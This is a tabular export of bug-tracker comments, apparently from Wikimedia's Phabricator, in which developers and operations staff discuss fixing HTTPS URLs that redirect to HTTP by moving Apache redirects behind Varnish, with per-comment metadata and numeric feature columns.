152908,Non-canonical HTTPS URLs quietly redirect to HTTP,*** Bug 52698 has been marked as a duplicate of this bug. ***,,,1377477008,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52698 has been marked as a duplicate of this bug. ***
152899,Non-canonical HTTPS URLs quietly redirect to HTTP,"As this is blocked by the varnish work, can the project page be updated, specifically dates and RT tickets so those interested can follow along?
https://wikitech.wikimedia.org/wiki/Projects#Switch_.22text.22_to_Varnish

Also, upping importance given current WMF priorities and community desires.",,,1376540637,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,5.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,21.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,12.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.465116279069767,0.8837209302325582,"As this is blocked by the varnish work, can the project page be updated, specifically dates and RT tickets so those interested can follow along?
URL

Also, upping importance given current WMF priorities and community desires."
152889,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #42)
> jeremyb, I think the idea was that we'd move this into VCL and do the
> redirects
> before even reaching Apache. I'm not sure if I like the idea. I'll leave it
> to
> whoever decides to implement that :) I agree that it's nasty, though.

I'm not completely sure which I prefer but I thought the general trend was to move stuff out to apache/php where we could (e.g. zero/carriers).

We could always use a switch statement in asm in VCL to decide which redirect code path to take for a given request.

Anyway, no matter which approach we end up going with having the domains listed in redirects.conf move from squid to varnish is a blocker for fixing this bug.",,,1376374483,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,2,False,,,-3,True,0.0,0.0,0.5,0.0,0.5,2.0,1.5,0.0,0.0,0.0,4.0,0.5,0.0,0.0,0.0,3.5,0.0,5.5,12.5,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,4.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,1.0,4.0,1.5,7.0,0.5,0.5,7.5,0.0,0.0,0.0,0.5,4.5,0.0,1.0,0.0,3.5,12.5,2.5,0.0,0.0,0.0,3.5,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.712962962962963,0.7685185185185186,"(In reply to comment #42)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I'm not completely sure which I prefer but I thought the general trend was to move stuff out to apache/php where we could (e.g. zero/carriers).

We could always use a switch statement in asm in VCL to decide which redirect code path to take for a given request.

Anyway, no matter which approach we end up going with having the domains listed in redirects.conf move from squid to varnish is a blocker for fixing this bug."
152876,Non-canonical HTTPS URLs quietly redirect to HTTP,"MZMcBride, no, text hasn't moved to Varnish yet. It's being worked on but we're not there yet. When that happens, operations/puppet, templates/varnish/text* would be the place to look for.

jeremyb, I think the idea was that we'd move this into VCL and do the redirects before even reaching Apache. I'm not sure if I like the idea. I'll leave it to whoever decides to implement that :) I agree that it's nasty, though.",,,1376373379,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,2,True,,,-3,True,0.0,0.0,0.0,1.0,3.0,4.0,2.0,0.0,1.0,1.0,0.0,5.0,0.0,0.0,0.0,7.0,0.0,10.0,11.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,2.0,3.0,1.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,11.0,4.0,2.0,7.0,0.0,1.0,0.0,0.0,5.0,1.0,0.0,0.0,10.0,11.0,2.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,3.47,0.68,"MZMcBride, no, text hasn't moved to Varnish yet. It's being worked on but we're not there yet. When that happens, operations/puppet, templates/varnish/text* would be the place to look for.

jeremyb, I think the idea was that we'd move this into VCL and do the redirects before even reaching Apache. I'm not sure if I like the idea. I'll leave it to whoever decides to implement that :) I agree that it's nasty, though."
152865,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #40)
> Gerrit change #13293 indicates that these redirects should be moved to
> Varnish. Is this possible now? If so, do you have any pointers about which
> file(s) should be changed in order to move forward toward resolving this bug?

I suppose it may be possible to move some domains to varnish sooner than others but I'm not sure if it's worth it. (We are making recent progress)

""redirects should be moved to varnish"" isn't quite right. Redirects will still be served from the same apaches they are now. Just they'll need to go through varnish instead of squid in order to fix this bug. More status below.

We recently got an OTRS ticket about this:
On 2013-08-09 someone wrote:
> Subject: FYI: https://wikipedia.org redirects to http://www.wikipedia.org
> would make life a lot easier if i could just type https://wikipedia.org to
> get started.

Our reply:
> Thanks for pointing this out! I'm also looking forward to that being fixed.
>
> That's bug 31369<https://bugzilla.wikimedia.org/31369> which is blocked on
> https://wikitech.wikimedia.org/wiki/Projects#Switch_.22text.22_to_Varnish
> (see also
> http://lists.wikimedia.org/pipermail/wikitech-l/2013-August/071086.html )
>
> Also, https://blog.wikimedia.org/2013/08/01/future-https-wikimedia-projects/
> (which mentions https://www.eff.org/https-everywhere which is probably the
> best short-term solution for you)",,,1376333957,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,2,False,,,-3,True,0.5,0.5,0.0,1.0,1.0,3.5,0.5,0.0,0.0,0.5,2.0,1.5,0.0,0.0,0.0,3.0,0.0,5.5,9.0,0.5,3.5,0.5,0.0,0.0,1.5,0.0,0.0,0.5,0.5,1.0,0.0,3.0,0.5,1.5,2.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,13.0,0.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.0,3.0,17.0,0.5,0.5,3.0,0.0,0.0,0.0,0.5,5.0,0.0,2.5,0.0,5.5,9.0,6.5,0.0,1.0,0.0,5.5,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,3.406978896704924,0.6455942243613476,"(In reply to comment #40)
QUOTE
QUOTE
QUOTE

I suppose it may be possible to move some domains to varnish sooner than others but I'm not sure if it's worth it. (We are making recent progress)

""redirects should be moved to varnish"" isn't quite right. Redirects will still be served from the same apaches they are now. Just they'll need to go through varnish instead of squid in order to fix this bug. More status below.

We recently got an OTRS ticket about this:
On 2013-08-09 someone wrote:
QUOTE
QUOTE
QUOTE

Our reply:
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
152854,Non-canonical HTTPS URLs quietly redirect to HTTP,"Asher, Ryan L., Faidon, or anyone else in ops who might know:

Gerrit changeset 13293 indicates that these redirects should be moved to Varnish. Is this possible now? If so, do you have any pointers about which file(s) should be changed in order to move forward toward resolving this bug?

As Erik noted in comment 6, this is a pretty evil bug.",,,1376332886,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,2,True,,,-3,True,1.0,1.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,1.0,1.0,3.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,5.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,8.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,5.0,13.0,3.0,1.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,1.0,13.0,11.0,3.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,3.8,0.8,"Asher, Ryan L., Faidon, or anyone else in ops who might know:

Gerrit changeset 13293 indicates that these redirects should be moved to Varnish. Is this possible now? If so, do you have any pointers about which file(s) should be changed in order to move forward toward resolving this bug?

As Erik noted in comment 6, this is a pretty evil bug."
152844,Non-canonical HTTPS URLs quietly redirect to HTTP,"I think this bug is quite important. It's been open for almost two years - is there any chance we can get this working with a less beautiful solution (e.g. duplicating the logic for every domain), and then have a follow-up bug to make it more efficient?

Also - the WMF supposedly prioritizes HTTPS...

https://blog.wikimedia.org/2013/08/01/future-https-wikimedia-projects/",,,1376163868,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,2,True,,,-3,True,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,3.0,2.0,12.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,11.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,9.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,6.0,8.0,3.0,2.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.8484848484848486,0.8636363636363636,"I think this bug is quite important. It's been open for almost two years - is there any chance we can get this working with a less beautiful solution (e.g. duplicating the logic for every domain), and then have a follow-up bug to make it more efficient?

Also - the WMF supposedly prioritizes HTTPS...

URL"
152835,Non-canonical HTTPS URLs quietly redirect to HTTP,The patch mentioned above has been abandoned. See reason on the gerrit patch set comments.,,,1376048057,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,2,True,,,-3,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.470588235294118,0.8823529411764706,The patch mentioned above has been abandoned. See reason on the gerrit patch set comments.
152827,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #36 by MZMcBride)
> I think Faidon volunteered.

Faidon: Is that the case? If so feel free to assign this ticket to you and steal it from Daniel.",,,1373466264,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,19.0,3.0,3.0,8.0,0.0,0.0,0.0,3.0,8.0,0.0,3.0,0.0,6.0,19.0,6.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,0.9444444444444444,"(In reply to comment #36 by MZMcBride)
QUOTE

Faidon: Is that the case? If so feel free to assign this ticket to you and steal it from Daniel."
152819,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #35)
> I don't think anyone is specially assigned to review it.

I think Faidon volunteered.",,,1355148089,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3125,1.0,"(In reply to comment #35)
QUOTE

I think Faidon volunteered."
152814,Non-canonical HTTPS URLs quietly redirect to HTTP,Andre the change is pending review and there are a few issues in the patch :-D   I don't think anyone is specially assigned to review it.,,,1355131141,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-38,True,3.0,3.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,7.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,10.0,10.0,7.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.8620689655172415,0.896551724137931,Andre the change is pending review and there are a few issues in the patch :-D   I don't think anyone is specially assigned to review it.
152809,Non-canonical HTTPS URLs quietly redirect to HTTP,"Gerrit change #13293 needs an update - that's one way to speed this up.

dzahn: Are you actually working on this, or should the assignee be reset?",,,1355130937,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-38,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,3.0,15.0,0.0,0.0,0.0,3.0,6.0,0.0,6.0,0.0,3.0,9.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.5588235294117645,0.9705882352941176,"Gerrit change #13293 needs an update - that's one way to speed this up.

dzahn: Are you actually working on this, or should the assignee be reset?"
152805,Non-canonical HTTPS URLs quietly redirect to HTTP,"You will want to contact ops, most probably Daniel Zahn (mutante on IRC).",,,1353955868,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,12.0,18.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.588235294117647,1.0,"You will want to contact ops, most probably Daniel Zahn (mutante on IRC)."
152802,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #29)
> What's the status of <https://gerrit.wikimedia.org/r/13293>? I see Ryan
> commented on June 29 to wait for the weekend. It's been a few weekends. Has
> this been merged/deployed? Can it be?

Bump. The dupes are piling up here. Copying Sumana (Andre is already on the CC list). It'd be awfully nice to get this bug moving forward. :-)

https://gerrit.wikimedia.org/r/13293 had some further activity in September, but it's mostly remained quite quiet. I'm not sure what else is needed here to resolve this bug, though I'm happy to help if I can.",,,1353798504,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-40,True,1.0,0.0,0.0,1.0,1.0,6.0,2.0,0.0,1.0,1.0,2.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,11.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,18.0,2.0,1.0,6.0,0.0,1.0,0.0,1.0,6.0,0.0,1.0,0.0,6.0,11.0,7.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,3.433333333333333,0.7444444444444445,"(In reply to comment #29)
QUOTE
QUOTE
QUOTE

Bump. The dupes are piling up here. Copying Sumana (Andre is already on the CC list). It'd be awfully nice to get this bug moving forward. :-)

GERRIT_URL had some further activity in September, but it's mostly remained quite quiet. I'm not sure what else is needed here to resolve this bug, though I'm happy to help if I can."
152796,Non-canonical HTTPS URLs quietly redirect to HTTP,*** Bug 42409 has been marked as a duplicate of this bug. ***,,,1353765787,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-40,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 42409 has been marked as a duplicate of this bug. ***
152793,Non-canonical HTTPS URLs quietly redirect to HTTP,%%%*** Bug 41070 has been marked as a duplicate of this bug. ***%%%,,,1350378675,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,False,,,-46,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.2916666666666665,0.5833333333333334,%%%*** Bug 41070 has been marked as a duplicate of this bug. ***%%%
152791,Non-canonical HTTPS URLs quietly redirect to HTTP,What's the status of <https://gerrit.wikimedia.org/r/13293>? I see Ryan commented on June 29 to wait for the weekend. It's been a few weekends. Has this been merged/deployed? Can it be?,,,1342493705,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-59,True,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,8.0,10.0,5.0,8.0,0.0,0.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,8.0,3.275,0.85,What's the status of <GERRIT_URL>? I see Ryan commented on June 29 to wait for the weekend. It's been a few weekends. Has this been merged/deployed? Can it be?
152787,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #27)
> You incorrectly switch ""^/(.*)$"" to ""^/(.*$)"" several times in that changeset.

As you just said on IRC that wasn't me.

Anyway, as I just said: there's essentially no difference between those 2 expressions in practice.",,,1340855531,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,False,,,-61,True,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,2.0,5.0,0.0,12.0,17.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,7.0,17.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.4761904761904763,0.9047619047619048,"(In reply to comment #27)
QUOTE

As you just said on IRC that wasn't me.

Anyway, as I just said: there's essentially no difference between those 2 expressions in practice."
152784,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #26)
> see Gerrit change #13293.

I don't have a Gerrit account, so I'm commenting here. You incorrectly switch ""^/(.*)$"" to ""^/(.*$)"" several times in that changeset.",,,1340855045,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-61,True,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,2.0,10.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,0.0,7.0,10.0,2.0,0.0,10.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,3.380952380952381,0.8333333333333334,"(In reply to comment #26)
QUOTE

I don't have a Gerrit account, so I'm commenting here. You incorrectly switch ""^/(.*)$"" to ""^/(.*$)"" several times in that changeset."
152780,Non-canonical HTTPS URLs quietly redirect to HTTP,see gerrit change 13293.,,,1340854591,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,False,,,-61,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,see gerrit change 13293.
152776,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #24)
> (In reply to comment #23)
> > Actually there is dozens and dozens more:
> > 
> > https://gerrit.wikimedia.org/r/gitweb?p=operations/apache-config.git;a=blob;f=redirects.conf;h=a777adf9dfb5f8652289c7855b06e5be43767a9b;hb=HEAD#l176
> 
> Right. The question is whether these can be solved in a simpler/cleaner/saner
> way than specifying ""RewriteCond %{HTTPS} off"" and ""RewriteCond %{HTTPS} on"" a
> million times.
> 
> According to my reading of
> <http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.30>, the Location
> header must be an absolute URI. Someone suggested that switching these rules to
> use protocol-relative syntax might resolve this bug, but in addition to the
> HTTP spec, Apache's rewrite/redirect logic apparently interprets any string
> beginning with a ""/"" to be a relative URI path, so that option is a no-go.
> 

Indeed. The spec says it should be absolute and apache doesn't support relative. But, browsers (the ones I've tested) do and always have supported relative Location headers. But anyway, as you say, a no-go.

> As I said earlier, %{HTTPS} might be best... but it's going to result in an
> awful lot of code duplication for one letter.

